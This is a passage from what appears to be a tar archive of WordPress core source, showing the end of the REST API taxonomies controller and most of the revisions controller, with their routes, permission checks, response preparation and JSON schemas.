	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$tax_obj = get_taxonomy( $request['taxonomy'] );

		if ( empty( $tax_obj ) ) {
			return new WP_Error(
				'rest_taxonomy_invalid',
				__( 'Invalid taxonomy.' ),
				array( 'status' => 404 )
			);
		}

		$data = $this->prepare_item_for_response( $tax_obj, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a taxonomy object for serialization.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$taxonomy` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Taxonomy     $item    Taxonomy data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$taxonomy = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php */
			return apply_filters( 'rest_prepare_taxonomy', new WP_REST_Response( array() ), $taxonomy, $request );
		}

		$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $taxonomy->label;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $taxonomy->name;
		}

		if ( in_array( 'capabilities', $fields, true ) ) {
			$data['capabilities'] = $taxonomy->cap;
		}

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = $taxonomy->description;
		}

		if ( in_array( 'labels', $fields, true ) ) {
			$data['labels'] = $taxonomy->labels;
		}

		if ( in_array( 'types', $fields, true ) ) {
			$data['types'] = array_values( $taxonomy->object_type );
		}

		if ( in_array( 'show_cloud', $fields, true ) ) {
			$data['show_cloud'] = $taxonomy->show_tagcloud;
		}

		if ( in_array( 'hierarchical', $fields, true ) ) {
			$data['hierarchical'] = $taxonomy->hierarchical;
		}

		if ( in_array( 'rest_base', $fields, true ) ) {
			$data['rest_base'] = $base;
		}

		if ( in_array( 'rest_namespace', $fields, true ) ) {
			$data['rest_namespace'] = $taxonomy->rest_namespace;
		}

		if ( in_array( 'visibility', $fields, true ) ) {
			$data['visibility'] = array(
				'public'             => (bool) $taxonomy->public,
				'publicly_queryable' => (bool) $taxonomy->publicly_queryable,
				'show_admin_column'  => (bool) $taxonomy->show_admin_column,
				'show_in_nav_menus'  => (bool) $taxonomy->show_in_nav_menus,
				'show_in_quick_edit' => (bool) $taxonomy->show_in_quick_edit,
				'show_ui'            => (bool) $taxonomy->show_ui,
			);
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $taxonomy ) );
		}

		/**
		 * Filters a taxonomy returned from the REST API.
		 *
		 * Allows modification of the taxonomy data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Taxonomy      $item     The original taxonomy object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_taxonomy', $response, $taxonomy, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.1.0
	 *
	 * @param WP_Taxonomy $taxonomy The taxonomy.
	 * @return array Links for the given taxonomy.
	 */
	protected function prepare_links( $taxonomy ) {
		return array(
			'collection'              => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'https://api.w.org/items' => array(
				'href' => rest_url( rest_get_route_for_taxonomy_items( $taxonomy->name ) ),
			),
		);
	}

	/**
	 * Retrieves the taxonomy's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 * @since 5.0.0 The `visibility` property was added.
	 * @since 5.9.0 The `rest_namespace` property was added.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'taxonomy',
			'type'       => 'object',
			'properties' => array(
				'capabilities'   => array(
					'description' => __( 'All capabilities used by the taxonomy.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'description'    => array(
					'description' => __( 'A human-readable description of the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'hierarchical'   => array(
					'description' => __( 'Whether or not the taxonomy should have children.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'labels'         => array(
					'description' => __( 'Human-readable labels for the taxonomy for various contexts.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'name'           => array(
					'description' => __( 'The title for the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'slug'           => array(
					'description' => __( 'An alphanumeric identifier for the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'show_cloud'     => array(
					'description' => __( 'Whether or not the term cloud should be displayed.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'types'          => array(
					'description' => __( 'Types associated with the taxonomy.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'rest_base'      => array(
					'description' => __( 'REST base route for the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'rest_namespace' => array(
					'description' => __( 'REST namespace route for the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'visibility'     => array(
					'description' => __( 'The visibility settings for the taxonomy.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
					'properties'  => array(
						'public'             => array(
							'description' => __( 'Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users.' ),
							'type'        => 'boolean',
						),
						'publicly_queryable' => array(
							'description' => __( 'Whether the taxonomy is publicly queryable.' ),
							'type'        => 'boolean',
						),
						'show_ui'            => array(
							'description' => __( 'Whether to generate a default UI for managing this taxonomy.' ),
							'type'        => 'boolean',
						),
						'show_admin_column'  => array(
							'description' => __( 'Whether to allow automatic creation of taxonomy columns on associated post-types table.' ),
							'type'        => 'boolean',
						),
						'show_in_nav_menus'  => array(
							'description' => __( 'Whether to make the taxonomy available for selection in navigation menus.' ),
							'type'        => 'boolean',
						),
						'show_in_quick_edit' => array(
							'description' => __( 'Whether to show the taxonomy in the quick/bulk edit panel.' ),
							'type'        => 'boolean',
						),

					),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$new_params            = array();
		$new_params['context'] = $this->get_context_param( array( 'default' => 'view' ) );
		$new_params['type']    = array(
			'description' => __( 'Limit results to taxonomies associated with a specific post type.' ),
			'type'        => 'string',
		);
		return $new_params;
	}
}
endpoints/class-wp-rest-revisions-controller.php000064400000063675151024200430016174 0ustar00<?php
/**
 * REST API: WP_REST_Revisions_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to access revisions via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Revisions_Controller extends WP_REST_Controller {

	/**
	 * Parent post type.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Instance of a revision meta fields object.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Post_Meta_Fields
	 */
	protected $meta;

	/**
	 * Parent controller.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		$this->parent_post_type = $parent_post_type;
		$post_type_object       = get_post_type_object( $parent_post_type );
		$parent_controller      = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Posts_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;
		$this->rest_base         = 'revisions';
		$this->parent_base       = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
		$this->namespace         = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
		$this->meta              = new WP_REST_Post_Meta_Fields( $parent_post_type );
	}

	/**
	 * Registers the routes for revisions based on post types supporting revisions.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base,
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the revision.' ),
						'type'        => 'integer',
					),
					'id'     => array(
						'description' => __( 'Unique identifier for the revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as revisions do not support trashing.' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Get the parent post, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $parent_post_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_post_id ) {
		$error = new WP_Error(
			'rest_post_invalid_parent',
			__( 'Invalid post parent ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $parent_post_id <= 0 ) {
			return $error;
		}

		$parent_post = get_post( (int) $parent_post_id );

		if ( empty( $parent_post ) || empty( $parent_post->ID )
			|| $this->parent_post_type !== $parent_post->post_type
		) {
			return $error;
		}

		return $parent_post;
	}

	/**
	 * Checks if a given request has access to get revisions.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( ! current_user_can( 'edit_post', $parent->ID ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to view revisions of this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Get the revision, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_revision( $id ) {
		$error = new WP_Error(
			'rest_post_invalid_id',
			__( 'Invalid revision ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$revision = get_post( (int) $id );
		if ( empty( $revision ) || empty( $revision->ID ) || 'revision' !== $revision->post_type ) {
			return $error;
		}

		return $revision;
	}

	/**
	 * Gets a collection of revisions.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		// Ensure a search string is set in case the orderby is set to 'relevance'.
		if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) {
			return new WP_Error(
				'rest_no_search_term_defined',
				__( 'You need to define a search term to order by relevance.' ),
				array( 'status' => 400 )
			);
		}

		// Ensure an include parameter is set in case the orderby is set to 'include'.
		if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) {
			return new WP_Error(
				'rest_orderby_include_missing_include',
				__( 'You need to define an include parameter to order by include.' ),
				array( 'status' => 400 )
			);
		}

		$is_head_request = $request->is_method( 'HEAD' );

		if ( wp_revisions_enabled( $parent ) ) {
			$registered = $this->get_collection_params();
			$args       = array(
				'post_parent'      => $parent->ID,
				'post_type'        => 'revision',
				'post_status'      => 'inherit',
				'posts_per_page'   => -1,
				'orderby'          => 'date ID',
				'order'            => 'DESC',
				'suppress_filters' => true,
			);

			$parameter_mappings = array(
				'exclude'  => 'post__not_in',
				'include'  => 'post__in',
				'offset'   => 'offset',
				'order'    => 'order',
				'orderby'  => 'orderby',
				'page'     => 'paged',
				'per_page' => 'posts_per_page',
				'search'   => 's',
			);

			foreach ( $parameter_mappings as $api_param => $wp_param ) {
				if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
					$args[ $wp_param ] = $request[ $api_param ];
				}
			}

			// For backward-compatibility, 'date' needs to resolve to 'date ID'.
			if ( isset( $args['orderby'] ) && 'date' === $args['orderby'] ) {
				$args['orderby'] = 'date ID';
			}

			if ( $is_head_request ) {
				// Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination.
				$args['fields'] = 'ids';
				// Disable priming post meta for HEAD requests to improve performance.
				$args['update_post_term_cache'] = false;
				$args['update_post_meta_cache'] = false;
			}

			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
			$args       = apply_filters( 'rest_revision_query', $args, $request );
			$query_args = $this->prepare_items_query( $args, $request );

			$revisions_query = new WP_Query();
			$revisions       = $revisions_query->query( $query_args );
			$offset          = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0;
			$page            = isset( $query_args['paged'] ) ? (int) $query_args['paged'] : 0;
			$total_revisions = $revisions_query->found_posts;

			if ( $total_revisions < 1 ) {
				// Out-of-bounds, run the query again without LIMIT for total count.
				unset( $query_args['paged'], $query_args['offset'] );

				$count_query = new WP_Query();
				$count_query->query( $query_args );

				$total_revisions = $count_query->found_posts;
			}

			if ( $revisions_query->query_vars['posts_per_page'] > 0 ) {
				$max_pages = (int) ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] );
			} else {
				$max_pages = $total_revisions > 0 ? 1 : 0;
			}

			if ( $total_revisions > 0 ) {
				if ( $offset >= $total_revisions ) {
					return new WP_Error(
						'rest_revision_invalid_offset_number',
						__( 'The offset number requested is larger than or equal to the number of available revisions.' ),
						array( 'status' => 400 )
					);
				} elseif ( ! $offset && $page > $max_pages ) {
					return new WP_Error(
						'rest_revision_invalid_page_number',
						__( 'The page number requested is larger than the number of pages available.' ),
						array( 'status' => 400 )
					);
				}
			}
		} else {
			$revisions       = array();
			$total_revisions = 0;
			$max_pages       = 0;
			$page            = (int) $request['page'];
		}

		if ( ! $is_head_request ) {
			$response = array();

			foreach ( $revisions as $revision ) {
				$data       = $this->prepare_item_for_response( $revision, $request );
				$response[] = $this->prepare_response_for_collection( $data );
			}

			$response = rest_ensure_response( $response );
		} else {
			$response = new WP_REST_Response( array() );
		}

		$response->header( 'X-WP-Total', (int) $total_revisions );
		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$request_params = $request->get_query_params();
		$base_path      = rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $base_path );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to get a specific revision.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		return $this->get_items_permissions_check( $request );
	}

	/**
	 * Retrieves one revision from the collection.
	 *
	 * @since 4.7.0
	 * @since 6.5.0 Added a condition to check that parent id matches revision parent id.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		if ( (int) $parent->ID !== (int) $revision->post_parent ) {
			return new WP_Error(
				'rest_revision_parent_id_mismatch',
				/* translators: %d: A post id. */
				sprintf( __( 'The revision does not belong to the specified parent with id of "%d"' ), $parent->ID ),
				array( 'status' => 404 )
			);
		}

		$response = $this->prepare_item_for_response( $revision, $request );
		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to delete a revision.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( ! current_user_can( 'delete_post', $parent->ID ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete revisions of this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		$response = $this->get_items_permissions_check( $request );
		if ( ! $response || is_wp_error( $response ) ) {
			return $response;
		}

		if ( ! current_user_can( 'delete_post', $revision->ID ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this revision.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes a single revision.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for revisions.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( "Revisions do not support trashing. Set '%s' to delete." ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		$previous = $this->prepare_item_for_response( $revision, $request );

		$result = wp_delete_post( $request['id'], true );

		/**
		 * Fires after a revision is deleted via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post|false|null $result The revision object (if it was deleted or moved to the Trash successfully)
		 *                                   or false or null (failure). If the revision was moved to the Trash, $result represents
		 *                                   its new state; if it was deleted, $result represents its state before deletion.
		 * @param WP_REST_Request $request The request sent to the API.
		 */
		do_action( 'rest_delete_revision', $result, $request );

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The post cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);
		return $response;
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and prepares
	 * them for WP_Query.
	 *
	 * @since 5.0.0
	 *
	 * @param array           $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Full details about the request.
	 * @return array Items query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = array();

		foreach ( $prepared_args as $key => $value ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
			$query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		}

		// Map to proper WP_Query orderby param.
		if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) {
			$orderby_mappings = array(
				'id'            => 'ID',
				'include'       => 'post__in',
				'slug'          => 'post_name',
				'include_slugs' => 'post_name__in',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		return $query_args;
	}

	/**
	 * Prepares the revision for the REST response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_Post         $item    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$GLOBALS['post'] = $post;

		setup_postdata( $post );

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php */
			return apply_filters( 'rest_prepare_revision', new WP_REST_Response( array() ), $post, $request );
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'author', $fields, true ) ) {
			$data['author'] = (int) $post->post_author;
		}

		if ( in_array( 'date', $fields, true ) ) {
			$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
		}

		if ( in_array( 'date_gmt', $fields, true ) ) {
			$data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt );
		}

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = $post->ID;
		}

		if ( in_array( 'modified', $fields, true ) ) {
			$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
		}

		if ( in_array( 'modified_gmt', $fields, true ) ) {
			$data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt );
		}

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $post->post_parent;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $post->post_name;
		}

		if ( in_array( 'guid', $fields, true ) ) {
			$data['guid'] = array(
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ),
				'raw'      => $post->guid,
			);
		}

		if ( in_array( 'title', $fields, true ) ) {
			$data['title'] = array(
				'raw'      => $post->post_title,
				'rendered' => get_the_title( $post->ID ),
			);
		}

		if ( in_array( 'content', $fields, true ) ) {

			$data['content'] = array(
				'raw'      => $post->post_content,
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'the_content', $post->post_content ),
			);
		}

		if ( in_array( 'excerpt', $fields, true ) ) {
			$data['excerpt'] = array(
				'raw'      => $post->post_excerpt,
				'rendered' => $this->prepare_excerpt_response( $post->post_excerpt, $post ),
			);
		}

		if ( rest_is_field_included( 'meta', $fields ) ) {
			$data['meta'] = $this->meta->get_value( $post->ID, $request );
		}

		$context  = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data     = $this->add_additional_fields_to_object( $data, $request );
		$data     = $this->filter_response_by_context( $data, $context );
		$response = rest_ensure_response( $data );

		if ( ! empty( $data['parent'] ) ) {
			$response->add_link( 'parent', rest_url( rest_get_route_for_post( $data['parent'] ) ) );
		}

		/**
		 * Filters a revision returned from the REST API.
		 *
		 * Allows modification of the revision right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     The original revision object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_revision', $response, $post, $request );
	}

	/**
	 * Checks the post_date_gmt or modified_gmt and prepare any post or
	 * modified date for single post output.
	 *
	 * @since 4.7.0
	 *
	 * @param string      $date_gmt GMT publication time.
	 * @param string|null $date     Optional. Local publication time. Default null.
	 * @return string|null ISO8601/RFC3339 formatted datetime, otherwise null.
	 */
	protected function prepare_date_response( $date_gmt, $date = null ) {
		if ( '0000-00-00 00:00:00' === $date_gmt ) {
			return null;
		}

		if ( isset( $date ) ) {
			return mysql_to_rfc3339( $date );
		}

		return mysql_to_rfc3339( $date_gmt );
	}

	/**
	 * Retrieves the revision's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => "{$this->parent_post_type}-revision",
			'type'       => 'object',
			// Base properties for every Revision.
			'properties' => array(
				'author'       => array(
					'description' => __( 'The ID for the author of the revision.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date'         => array(
					'description' => __( "The date the revision was published, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date_gmt'     => array(
					'description' => __( 'The date the revision was published, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'guid'         => array(
					'description' => __( 'GUID for the revision, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
				),
				'id'           => array(
					'description' => __( 'Unique identifier for the revision.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'modified'     => array(
					'description' => __( "The date the revision was last modified, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'modified_gmt' => array(
					'description' => __( 'The date the revision was last modified, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'parent'       => array(
					'description' => __( 'The ID for the parent of the revision.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'slug'         => array(
					'description' => __( 'An alphanumeric identifier for the revision unique to its type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
			),
		);

		$parent_schema = $this->parent_controller->get_item_schema();

		if ( ! empty( $parent_schema['properties']['title'] ) ) {
			$schema['properties']['title'] = $parent_schema['properties']['title'];
		}

		if ( ! empty( $parent_schema['properties']['content'] ) ) {
			$schema['properties']['content'] = $parent_schema['properties']['content'];
		}

		if ( ! empty( $parent_schema['properties']['excerpt'] ) ) {
			$schema['properties']['excerpt'] = $parent_schema['properties']['excerpt'];
		}

		if ( ! empty( $parent_schema['properties']['guid'] ) ) {
			$schema['properties']['guid'] = $parent_schema['properties']['guid'];
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		unset( $query_params['per_page']['default'] );

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by object attribute.' ),
			'type'        => 'string',
			'default'     => 'date',
			'enum'        => array(
				'date',
				'id',
				'include',
				'relevance',
				'slug',
				'include_slugs',
				'title',
			),
		);

		return $query_params;
	}

	/**
	 * Checks the post excerpt and prepare it for single post output.
	 *
	 * @since 4.7.0
	 *
	 * @param string  $excerpt The post excerpt.
	 * @param WP_Post $post    Post revision object.
	 * @return string Prepared excerpt or empty string.
	 */
	protected function prepare_excerpt_response( $excerpt, $post ) {

		/** This filter is documented in wp-includes/post-template.php */
		$excerpt = apply_filters( 'the_excerpt', $excerpt, $post );

		if ( empty( $excerpt ) ) {
			return '';
		}

